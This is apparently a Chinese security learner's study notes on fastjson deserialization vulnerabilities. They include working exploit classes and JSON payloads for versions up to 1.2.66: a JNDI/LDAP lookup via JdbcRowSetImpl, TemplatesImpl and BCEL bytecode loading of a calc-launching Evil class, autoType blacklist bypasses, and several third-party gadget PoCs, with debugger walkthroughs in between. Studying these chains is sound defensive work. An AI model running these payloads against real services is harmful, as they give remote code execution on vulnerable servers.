fastjson介绍

官方github地址:https://github.com/alibaba/fastjson

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

简单例子

用Json的toJSONString方法将pojo类转换成字符串

package org.clown.Test1;

import com.alibaba.fastjson.*;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("Student构造函数");
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public static void main(String[] args) {
Student student = new Student();
student.setName("clown");
student.setAge(23333);
System.out.println(JSON.toJSONString(student, SerializerFeature.WriteClassName));
System.out.println(JSON.toJSONString(student, SerializerFeature.WriteEnumUsingToString));
}
}

image-20240828155427856

这里的SerializerFeature.WriteClassName顾名思义就是指定序列化出来的字符串的格式,这里就是写出类名和键值对形式,更多的可以看源码尝试

JSON.parseObject将字符串转换回pojo

package org.clown.Test1;

import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("Student构造函数");
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public static void main(String[] args) {
Student student = new Student();
student.setName("clown");
student.setAge(23333);
System.out.println(JSON.toJSONString(student, SerializerFeature.WriteClassName));
System.out.println(JSON.toJSONString(student, SerializerFeature.WriteEnumUsingToString));
//转变回pojo
Student obj = JSON.parseObject("{\"@type\":\"org.clown.Test1.Student\",\"age\":23333,\"name\":\"clown\"}", Student.class, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
System.out.println(obj.getName() + " " + obj.getAge());

}
}

image-20240828155545016

这里注意要写全类名不然会报错

这里的Feature.SupportNonPublicField顾名思义也是还原的特点,这里是还原私有属性

然后我们注意到这里转换成pojo对象时会调用构造函数,其实还会调用他的set和get方法,所以fastjson的反序列化指的并不是java原生的反序列化,而是他json转化的过程。

将代码改一下看一下效果

package org.clown.Test1;

import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("Student构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setMap(String map){
System.out.println("setMap");
}
public String getMap(){
System.out.println("getMap");
return null;
}

public static void main(String[] args) {
//这种方法会调用get和set方法
JSONObject obj = JSON.parseObject("{\"@type\":\"org.clown.Test1.Student\",\"age\":23333,\"name\":\"clown\",\"map\":\"ceshi\"}");
Student javaObject = obj.toJavaObject(Student.class); //只传一个参数只返回JSONObject类型,可以这样转换
//System.out.println(javaObject.getName() + " " + javaObject.getAge()+ " " + javaObject.getMap());
System.out.println("------------------");
//这种方法只调用set方法
Student obj1 = JSON.parseObject("{\"@type\":\"org.clown.Test1.Student\",\"age\":23333,\"name\":\"clown\"}", Student.class);

}
}

image-20240828220804265

可以看到转换的时候会再一次调用set方法,而且注意这里的map属性我是没有定义的,但要是我的json字符串里有map属性也会调用对应的方法,不过对应的java对象get回来的属性值就为null

这里copy一下y4✌的总结:https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson%E4%B8%93%E5%8C%BA/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95/Fastjson%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%B3%95.md

  • 当反序列化为JSON.parseObject(*)形式即未指定class时,会调用反序列化得到的类的构造函数、所有属性的getter方法、JSON里面的非私有属性的setter方法,其中properties属性的getter方法会被调用两次;
  • 当反序列化为JSON.parseObject(*,*.class)形式即指定class时,只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter方法、properties属性的getter方法;
  • 当反序列化为JSON.parseObject(*)形式即未指定class进行反序列化时得到的都是JSONObject类对象,而只要指定了class即JSON.parseObject(*,*.class)形式得到的都是特定的Student类;

还有源码的调用分析不写了太臭太长了,看组长的视频已经要晕了,后面看链子的时候穿插着分析吧

这里还有一张调用类的关系图

1

JSON:门面类,提供入口

DefaultJSONParser:主类

ParserConfig:配置相关类

JSONLexerBase:字符分析类

JavaBeanDeserializer:JavaBean反序列化类

fastjson的利用的入口点就是对应的set或get方法的链子

Fastjson1.22-1.24 JNDI

基于JdbcRowSetImpl的利用链

他的触发点在**JdbcRowSetImpl#connect()**里面

image-20240829155500981

payload:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/mQAZldWR\", \"autoCommit\":true}";
JSON.parse(payload);

image-20240829163040221

这里payload用parse或者parseObject都能触发

这里还学到了用yakit直接搭建JNDI服务器,特别方便

image-20240829162951907

配置一下payload就能直接用了

看一下利用链过程吧,这是从set方法打的,根据payload我们去看一下setAutoCommit方法,因为我们设置了autoCommit属性他就会走到这

image-20240829172622802

这里conn一开始为空就会走到connect()方法

image-20240829173035857

image-20240829173051811

然后我们payload里面控制了一下dataSource属性值为恶意ldap服务器即可

调试一下执行流程

其实就是走一下前面没分析的反序列化的过程顺便调一下

image-20240829163154441

因为要到toJSON方法才会调用get方法,前面直接到parse调用set方法触发更容易满足条件

一路跟进到这里

image-20240829170515929

获取一个反序列化器,然后继续往里跟进

image-20240829170031726

这里建立一个JavaBeanInfo类,里面就进行了对该类的各种字段和方法还有构造器的封装等,后面有链子需要利用到再详细说

image-20240829164912083

然后继续跟进到执行lookup的地方

image-20240829171913782

这里的getDataSourceName()我们可以控制

image-20240829171950465

然后成功弹计算器。

不过jndi的打法有版本限制、依赖限制以及要出网

Fastjson1.22-1.24 TemplatesImpl

限制

该利用链需要设置Feature.SupportNonPublicField才能成功触发

利用代码

写一个恶意类继承AbstractTranslet

package org.clown.Templates;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {
}
public static void main(String[] args) throws Exception {
Evil t = new Evil();
}
}

再写一个exp

package org.clown.Templates;


import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;


import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

public class Exploit {
public static String readClass(String cls){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(cls);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}

public static void main(String args[]){
try {
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class";
System.out.println(evilClassPath);
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_version\":\"\"}\n";

JSON.parseObject(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

执行结果

image-20240830112259389

调用流程分析

Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField在parseObject中才能触发

现在parseObject下断点,然后跟进

image-20240830165233826

继续跟进这个DefaultJSONParser方法

image-20240830165823736

这里token赋的值为12,先记住

image-20240830170035160

然后继续跟进parseObject方法

image-20240830170443834

一路跟进到DefaultJSONParser的parse方法,继续往下

image-20240830170659818

然后根据token为12代表”{“判断到这,我们跟进parseObject方法

image-20240830170954179

进到这里遍历lexer的text属性里我们传的json字符串,一开始扫描到’”‘字符

然后就走到下面这里

image-20240830171321736

然后取得key为@type

image-20240830171538418

然后继续往下

image-20240830172002493

这里的DEFAULT_TYPE_KEY就是@type,然后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类

继续往下

image-20240830172310261

这里对类名进行了判断,涉及到后面新版本绕过黑名单的方法先留意一下

现在继续往下

image-20240830172504533

这里通过AppClassLoader加载后put到mappings里面

返回后,程序继续回到DefaultJSONParser.parseObject()中往下执行,在最后调用JavaBeanDeserializer.deserialze()对目标类进行反序列化

image-20240830172750780

关键利用链

来根据payload看一下关键的属性对应的set和get方法

"{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_version\":\"\"}\n"

我们知道fastjson的JSON.parseObject会调用get和set方法,这里利用的是TemplatesImpl的get方法

image-20240830213116051

然后后面其实就是cc链的动态类加载部分,链子如下:

TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#defineTransletClasses()->defineClass

然后回忆一下有些地方为什么要赋值

image-20240830214556445

这里_tfactory要调用方法所以不能为空要赋值

image-20240830214643793

这里要调用defineTransletClasses()方法所以_name!=null,_class==null后面就没有了

这里y4师傅的payload还带了一个version我不知道为什么,我去掉了也是能够正常弹计算器的

base64

再看一下为什么需要将字节码进行base64处理

这是因为FastJson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对 _bytecodes 进行Base64处理

image-20240830220348083

image-20240830220404414

关于下划线的处理

image-20240830220656753

是在这个地方的smartMatch函数

image-20240830220749721

然后在这里将下划线进行了替换

Fastjson1.1.15-1.2.24与BCEL字节码加载

参考文章:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)Java动态类加载,当FastJson遇到内网 – KINGX

这种和上面的TemplatesImpl链子打法都可以用于不出网的打法,不过比TemplatesImpl利用更广泛一点

这里我们还需要一个依赖

<dependency>
<groupId>commons-dbcp</groupId>
<artifactId>commons-dbcp</artifactId>
<version>1.4</version>
</dependency>

先给出只用parse就能触发的payload形式

{
{
"@type": "com.alibaba.fastjson.JSONObject", //这个可有可无都不影响
"x":{
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

利用代码:

Evil.java

package org.clown.BECL;

import java.io.IOException;

public class Evil {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package org.clown.BECL;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class demo1 {
public static void main(String[] args) throws IOException {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
// String payload="{\n" +
// " \"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\n" +
// " \"driverClassLoader\": {\n" +
// " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
// " },\n" +
// " \"driverClassName\": \"$$BCEL$$"+code+"\"\n" +
// "}"; //这个在parseObject的时候适用
String payload="{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+code+"\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
JSON.parse(payload);
}
}

image-20240904011923509

利用链分析

去看一下BasicDataSource的源码中对应的关键方法

image-20240903225126325

image-20240903230514187

好吧想自己去看发现好像这个调用不太一样,这是会调用的set方法,文章的利用链如下:

BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

这是文章的解释:

按理说应该是不会调用到getConnection方法的,原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 等方法。

首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。

然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法,于是乎就触发了BasicDataSource.getConnection()。

感觉文章讲得都有点怪,然后自己调了半天才找到确切位置,接下来分析也不知道正不正确,能说服我自己就好(

image-20240904005819248

首先走到parseObject这里,然后一直往下

image-20240904010058091

走到这会调用key的toString方法,这时候value为BasicDataSource的时候是关键我们跟进去看

image-20240904010314293

然后到这个write方法,继续往下

image-20240904010542894

然后进到一个Map的遍历里面,前面进行了一些操作将他转成了Map类型,继续往下

image-20240904010839142

这里就是最后的方法了,对字段进行遍历

image-20240904011101980

这里对每个field进行遍历,然后调用他们的get方法,这里遍历到connection就会调用我们提到的getConnection

image-20240904011236055

image-20240904011312996

image-20240904005104420

最终成功调用,其实调的我还是有点不明不白,只能说大致知道

如果是parseObject的话,他会触发所有get和set方法,直接这种payload也可以:

{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

除了上面的依赖还有一些适用更广泛的依赖,不过利用依旧是BasicDataSource类

在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

比如:6.0.53、7.0.81等版本

在Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

Fastjson1.2.25-1.2.41绕过

Fastjson在1.2.25版本就加入了黑白名单机制

这时候我们再去执行前面的exp就会爆出下面的错误

image-20240830232605306

再去看ParserConfig里面可以看到很多类被加入了黑名单

image-20240830232822995

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload,org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss,org.mozilla.javascript
org.python.core
org.springframework

先给出绕过的payload

package org.clown.Templates;


import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;


import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

public class Exploit1 {
public static String readClass(String cls){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(cls);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}

public static void main(String args[]){
try {
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class";
System.out.println(evilClassPath);
String evilCode = readClass(evilClassPath);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启AutoTypeSupport
final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;"; //前面加了L,结尾加了;
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }";

JSON.parseObject(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

image-20240831001535905

然后来看一下具体的绕过原理

先去看一下checkAutoType函数在哪里被调用

image-20240831002214426

我们可以对比之前的版本来看,之前的版本是直接loadClass了,我们进到这个函数里面看看

image-20240831002652886

这里我们如果设置了autoTypeSupport为true他就会去将我们的这个类去匹配白名单,匹配到了就loadClass

如果没匹配到就会进到下面黑名单的匹配

image-20240831003005272

匹配到黑名单就会抛出异常autoType is not support

image-20240831003254981

如果没有开启autoTypeSupport就会先匹配黑名单再匹配白名单

最后如果要是黑白名单都匹配不到,autoTypeSupport为true且expectClass不为null就直接loadClass

image-20240831003602958

否则就不加载这个类了直接,我们payload最后进到的就是黑白名单都加载不到的loadClass,我们进loadClass方法里面看一下

image-20240831003942791

这里就遇到了我们前面提到的用来绕过的地方

先看第一个箭头处的代码,如果类名的字符串以[开头,则说明该类是一个数组类型,需要递归调用loadClass方法来加载数组元素类型对应的class对象然后使用Array.newInstance方法来创建一个空数组对象,最后返回该数组对象的class对象

第二个箭头处的代码,如果类名的字符串以L开头并以;结尾,则说明该类是一个普通的Java类,需要把开头的L和结尾的;给去掉,然后递归调用loadClass

那其实就很清晰了,很容易就明白我们前面payload的绕过原理

不用[的原因是fastjson在前面已经判断过是否为数组了,实际走不到这一步

绕过就两步

  1. 开启autoTypeSupport
  2. L开头;结尾

不过这个参数要在服务端手动开启,默认为false启用白名单,有点不好利用我感觉

FastJson1.2.42

该版本修改了下面两点:

  • 黑名单改为了hash值,防止绕过
  • 对于传入的类名,删除开头L和结尾的;

image-20240831005115787

笑死了,文章还没看完猜测是不是就提前校验删了一次,直接猜双写能不能绕过,结果真绕过去了🤣

看一下他的checkAutoType函数变化

image-20240831152406512

总之这里就是对字符串进行了截取但只截取了一次

TemplatesImpl的exp如下:

package org.clown.Templates;


import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;


import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

//FastJson1.2.42
public class Exploit1 {
public static String readClass(String cls){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(cls);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}

public static void main(String args[]){
try {
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class";
System.out.println(evilClassPath);
String evilCode = readClass(evilClassPath);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启AutoTypeSupport
final String NASTY_CLASS = "LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;"; //前面加了L,结尾加了; 进行了双写绕过
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }";

JSON.parseObject(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

FastJson1.2.43

这个版本又是修改了checkAutoType函数,这次对于LL等开头结尾的字符串直接抛出异常

上面payload执行结果

image-20240831152750175

看一下checkAutoType函数

image-20240831153008103

这里直接就抛异常了

但是没有对[进行限制,可以通过[{来绕过,改后的exp如下

package org.clown.Templates;


import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;


import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

//FastJson1.2.43
public class Exploit2 {
public static String readClass(String cls){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(cls);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}

public static void main(String args[]){
try {
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\clown\\Templates\\Evil.class";
System.out.println(evilClassPath);
String evilCode = readClass(evilClassPath);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启AutoTypeSupport
final String NASTY_CLASS = "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //用[{来绕过
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\"[{,\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }";

JSON.parseObject(payload, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

image-20240831154143113

分析一下这个payload的原理,首先前面我们知道只加一个[是可以进入loadClass里面的,但是此时会json解析错误

image-20240831155047869

这里说期待一个[但是在第七十一位置是’,’,就是TemplatesImpl后面那个逗号的位置

那我们就补上一个[

image-20240831155444662

然后又说缺少一个{,那再补上去即可

不过怪怪的这就能解析成功了?😢

FastJson1.2.25-1.2.47通杀

影响版本

1.2.25-1.2.32:

未开启AutoTypeSupport时能成功利用,开启了反而不行

1.2.33-1.2.47:

无论是否开启AutoTypeSupport都能成功利用

其他的限制

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191

1.2.25<=Fastjson<=1.2.32

先给出exp,这里用的JdbcRowSetImpl的链子

import com.alibaba.fastjson.JSON;

public class Fastjson6 {
public static void main(String[] args) throws Exception{
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://127.0.0.1:9999/zoZdyoJH\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}

image-20240831163451309

整体思路:通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

去看一下他的checkAutoType函数来分析一下

image-20240831163822049

我们先从缓存中去获取这个类,然后为null直接到findClass这里,这里的缓存mapping在一开始的时候会自动执行静态代码块放一些类进去

image-20240831164311603

然后遍历buckets,根据键值查找是否存在该类,这里是可以直接找到的,然后判断clazz不为空后直接返回

然后一路往下走到deserialize的地方

image-20240831164635293

这里调用的是**MiscCodec.deserialze()**,走进去跟进

image-20240831164903622

往下到这里,判断键值是否为val,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量

image-20240831165057048

这里赋值了给strVal

然后继续往下

image-20240831165810941

判断clazz是否为Class.class,然后到这里loadClass

image-20240831165951852

load完之后就会放入缓存中

然后在扫描第二部分JSON数据的时候,由于我们的类已经被放在缓存中了,我们在前面的**TypeUtils.getClassFromMapping(typeName)**就能获取到clazz,然后直接返回

image-20240831170308601

可以看到直接返回从而绕过了checkAutoType

然后如果开启了autoTypeSupport的话就会无法绕过前面的黑名单,所以开启了反而不行

image-20240831170428910

1.2.33<=Fastjson<=1.2.47

这部分的版本开了autoTypeSupport是可以成功

未开启autoType时

这里就和前面一样就不用分析了

开启autoType时

这里checkAutoType改了一点地方

image-20240831172445310

这里多了一个判断,需要**TypeUtils.getClassFromMapping(typeName)**返回为null才行,我们这里返回不为null自然也不会抛出异常

Fastjson1.2.48-1.2.68

这部分版本很多都是用黑名单绕过的利用方式,参考文章:https://www.anquanke.com/post/id/232774

Fastjson<=1.2.62

一样先给个payload

org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://127.0.0.1:9999/zoZdyoJH"};

exp如下:

package org.clown.JNDITest;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

//fastjson1.2.62
public class Advanced_Version {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/zoZdyoJH\"}";
JSON.parse(poc);
}
}

该利用方式还需要我们满足一些前置条件:

  • 需要开启AutoType;

  • Fastjson <= 1.2.62;

  • JNDI注入利用所受的JDK版本限制;

  • 目标服务端需要存在xbean-reflect包;

    <dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-reflect</artifactId>
    <version>4.18</version>
    </dependency>

image-20240831224018027

调试分析

先根据payload看一下利用的点

看一下关键类JndiConverter的jndi利用点

image-20240901001248560

那就是需要我们的set方法能够触发到该类,然后看payload可以知道是触发了一个setAsText方法,但是这个类没有,那就应该是在父类里面,我们可以往上查找调用类,最终是找到了一个AbstractConverter的类

image-20240901001557551

image-20240901001634139

他这里调用了toObject方法

image-20240901001722611

然后调用了toObjectImpl方法,最终到我们执行jndi的地方

利用链的流程知道了,现在来看一下checkAutoType函数的流程,主要是看看他新增的逻辑,这里分析的是开启autoTypeSupport的时候

image-20240901002806625

这里会先进到第一部分的黑白名单判断,由于该类不在黑白名单内就直接往下走

image-20240901003236610

一路走到这个类,此时clazz为null且开启了autoTypeSupport,就直接loadClass,后面就是正常的反序列化流程了

未开启autoTypeSupport

image-20240901003743874

他会进到这里的判断逻辑,也是正常的黑白名单校验直接过去,主要的是他会走到下面这个地方

image-20240901003925151

这里会直接抛异常所以也就不会loadClass了

Fastjson1.2.66

该版本也是黑名单绕过,1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。

给出各链子的payload

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://127.0.0.1:9999/xCxXLJwZ"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig类PoC:

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:9999/xCxXLJwZ"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://127.0.0.1:9999/xCxXLJwZ"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://127.0.0.1:9999/xCxXLJwZ"}}

满足条件:

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

emmm我调试了一下1.2.62的payload,发现他的判断逻辑没有什么变化,只是把黑名单增加了应该是,所以直接在黑名单处被检测到然后抛出异常

image-20240901004414066

所以autoType的部分就不分析了,就看各payload的利用链就好

org.apache.shiro.realm.jndi.JndiRealmFactory

先导入依赖

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.8.0</version>
</dependency>

exp:

package org.clown.JNDITest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Shiro_Version {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://127.0.0.1:9999/zoZdyoJH\"], \"Realms\":[\"\"]}";
JSON.parse(payload);
}
}

image-20240901010441536

我们直接去看一下JndiRealmFactory这个类,发现他的getRealms方法存在JNDI注入

image-20240901011300563

然后是遍历jndiNames来传入参数,所以这里payload设置一个jndiNames数组

get方法调用:

至于这里为什么调用get而不是set,也补充一下前面没有提到这个

还记得前面有对各种方法和字段遍历的JavaBeanInfo的封装吧

image-20240901014448343

这个版本虽然改了一点,但不影响目前的分析,这个箭头所指的就是在遍历类的get方法,我们看一下执行了什么操作

image-20240901015008065

这里对返回值的类型进行了判断,如果为符合的类型进到逻辑里面,我们这里传的是[]且get方法返回值为Collection符合返回值为Collection的情况所以会继续往下

image-20240901021056578

然后如果类里面没有set方法就会走到这里遍历get方法的这一步,不然就会进入到上一步的continue,因为前面的一个遍历method是优先set方法,最后同样是add进了fieldList

然后跟进去newFieldInfo里面,这里要注意一个重要的属性getOnly

image-20240901021533021

在这里面将getOnly赋值为了true

然后一路跟进最后会进到这个方法

image-20240901022101254

此时getOnly已经为true,继续往下

image-20240901022129364

最终走到这执行了get方法

所以总结执行get方法的条件(不过主要是针对用了parse方法而没用parseObject,因为parseObject本身就会连get一起执行):

parse他会去优先去匹配调用字段的set方法,如果没有set方法,就会去寻找字段的get方法且返回值要是Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong

所以前面可能写的有点乱,因为写到这才真正调会get和set的调用😢

